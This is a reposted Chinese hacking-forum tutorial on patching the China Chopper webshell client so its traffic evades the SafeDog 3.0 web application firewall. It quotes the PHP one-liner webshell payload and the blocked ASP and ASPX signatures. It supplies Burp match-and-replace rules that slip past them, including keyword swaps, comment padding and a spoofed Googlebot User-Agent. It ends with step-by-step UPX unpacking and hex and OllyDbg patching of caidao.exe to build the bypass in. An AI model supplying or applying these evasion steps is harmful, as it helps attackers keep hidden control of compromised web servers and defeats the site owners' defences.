前言:作者是个懒人,又犯了五月病,什么都懒得做,编辑了好几次文章,后来都不了了之了
但是时间紧迫,下个月就要跨省去外地了,看见大家好像对狗狗很有热情,所以就一口气把一篇笔记发出来了
本来没有那么长的,越写越长,本来是想分开发的,好吧我懒了,分开发又有坑JB的嫌疑,所以各位看官大人将就一下吧PS:发了N次没成功,发现是使用了【code】 【/code】来标记代码产生的问题。。。直接跑入主题吧。
以上
终于用上狗狗的3.0正式版了
burp抓包,send to repeater 看看
关键处我已经圈出来了
然后修改POST的内容{第二个红圈处}
PS:怎么知道是第二个红圈处的问题?这是经过多次改包,发包,再改,再发…确定的.由于这是个没有技术含量的苦力活,就略过了吧
然后我们有一个重点思想是,宁减勿增,尽可能不增加字符串的长度[等会改菜刀时要用到],还要尽量少改动
用eval代替了request即可绕过了(是不是怀疑安全狗的拦截规则是专门针对菜刀的?明明eval比execute更邪恶)
【记下修改的地方,asp一句话】
喜欢不修改菜刀的话,直接在burp的规则里加一条match and replace规则即可通过burp使用菜刀,
在proxy->options 里设置
在match and replace里添加规则
{request body} Execute\(“Execute\(“”On Eval%20\(“Execute\(“”On
即可通过burp使用菜刀
0x02 aspx
Aspx有两个特征码被拦截,
一个是 Response.Write(“->|”)
另一个是 “);var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String
第一个只有在aspx时才会被拦截,asp和php都不会(不知道狗狗怎么想的)
直接上解决方案吧
【记下修改的地方,aspx一句话】
修改了2个地方,配置一下burp试试
{request body}: Response.Write\(“->\|”\) Response.Write\(“2->\|”\)
{request body}: err:Exception;try\{eval\(S err:Exception;try\{eval%20\(S
注:这次修改添加了两个字符,所以等会修改菜刀时需要多做一些工作
0x03 php
安全狗过滤的就是那一串了,解码后是
@eval (base64_decode($_POST[z0]));
进一步测试发现,只要同时存在这三个字符串『eval base64_decode $_POST』 安全狗就会过滤
难度是有,但是裤子都脱了一半了你还要闹哪样
【记下修改的地方,php一句话】
经过努力测试之后((——))终于发现这样能够过。。。
/*12345*/这里/**/里面的长度需要5位以上才能成功,具体原因不明。。只能认为狗狗又卖萌了
配置一下burp
{request body}: %28base64_decode%28%24_POST %28/*12345*/base64_decode%28%24_POST
注:这次添加了/*12345*/ 添加了一共9个字符,修改菜刀需要注意。
0x04 user-agent
这是能够秒杀3.0之前版本的狗狗的神技
直接配置burp
{request head}: ^User-Agent.*$ User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
简单一点就直接一个Baiduspider 就可以了
由于我本地的狗狗已经是3.0,所以效果就无法测试了,不过大家也知道效果如何的
——————————————分割线—————————————————
现在,来改菜刀
请先参考一下这篇文章,
风之传说 的 过狗菜刀的制作
https://forum.90sec.org/viewthread.php?tid=5722
使用工具,upx.exe OD C32
第一步: 脱壳
Upx.exe caidao.exe -d
菜刀是使用upx.exe压缩的,所以使用upx.exe就可以解压缩菜刀.因为upx只是压缩壳,就像不加密码的rar一样,可以直接完美的解压缩.
第二步: asp修改
C32载入
搜索Execute(“Execute(“”On
修改后的效果图
保存,测试asp一句话连接成功{别忘了先关burp},节约空间就不截图了
第三步: aspx修改
搜索try{eval(System.Text.Encoding
此处修改比较多,请细心一点看
之前说过,我们多添加了两个字符,我们要在这里扣两个字符的位置出来,
我们看到这几行定义了一个err,来捕获异常,我们可以将err改为er,使用了err的地方一共有三处,三处都需要修改
编辑模式选择插入模式:
修改后
现在我们获得了三个字符的空间,但是改变了文件的大小,所以需要填回来
刚好填满
保存,测试aspx一句话连接成功.
第四步 php修改
搜索(base64_decode($_POST[z0]));
看@eval 后面的那个点,他的16进制是01,是一个特殊字符,我们需要把这个点改成空格,即在左边把01改成20
不改的话,等会我们OD载入是搜索不到这个字符串的{也可能是我OD版本问题}
我们在修改php发包时添加了9个字符串,但这里半个空位都没有…所以需要另找地方写入我们的新字符串.
不过在这之前需要记下这个字符串的内存地址
这个字符串是以@eval开始的,别看错了
Hex地址是0009E770,内存地址就是前面加个4 变成0049E770
现在找一个地方放我们的新字符串.经过努力查找,发现一个地方有一个与功能无关的字符串
搜索scammer
这一串字符长度好长,而且似乎从来没见过菜刀需要用,所以,鹊巢鸠占,我们的新字符串就放在这里了{等会再说为什么不放到领空区}
这一串字符串是
Mining PageRank is AGAINST GOOGLE’S TERMS OF SERVICE.Yes,I’m talking to you,scammer
应该没有实际功能
修改结果
注意要在最后添加00字符
记下我们修改的字符串的内存地址
Hex地址是0009F870,内存地址就是0049F870
保存文件..载入OD
智能搜索字符串,搜索(base64_decode($_POST[z0]));
双击进去
未经修改的字符串的地址: 0049E770
将它改成0049F870
第二个红框已经显示了我们修改后的字符串
复制到可执行文件->所有修改->保存文件
测试连接php一句话成功.
第五步 修改user-agent
这是过3.0之前的版本的狗狗的神技能
C32载入,搜索mozilla
修改为
注意最后的00字符
保存
第六步 加回upx壳
刚才之所以不把字符串写在领空区,是因为写在领空区的字符串,在加壳时会被忽略不计,所以。。。
做事要做完整,菜刀本来是加了upx壳的,该怎么样还是怎么样吧
Upx.exe -9 caidao.exe
压缩caidao.exe
第七步 测试
测试功能,完好无损{不可能会损的啦}
SO,GOOD JOB!!
参考文章(按时间排序):
https://forum.90sec.org/viewthread.php?tid=5712
https://forum.90sec.org/viewthread.php?tid=5722
https://forum.90sec.org/viewthread.php?tid=5737
由于版权问题不是很方便提供文件下载?主要是发出来一起交流
注:作者是小菜,怕被狗咬才匿的
以上word一份{排版好那么一点}
转自:https://forum.90sec.org/viewthread.php?tid=5810
转载文章请注明,转载自:小马’s Blog http://www.i0day.com
本文链接: http://www.i0day.com/1296.html
转载请注明:jinglingshu的博客 » 过狗狗3.0的菜刀的详细制作流程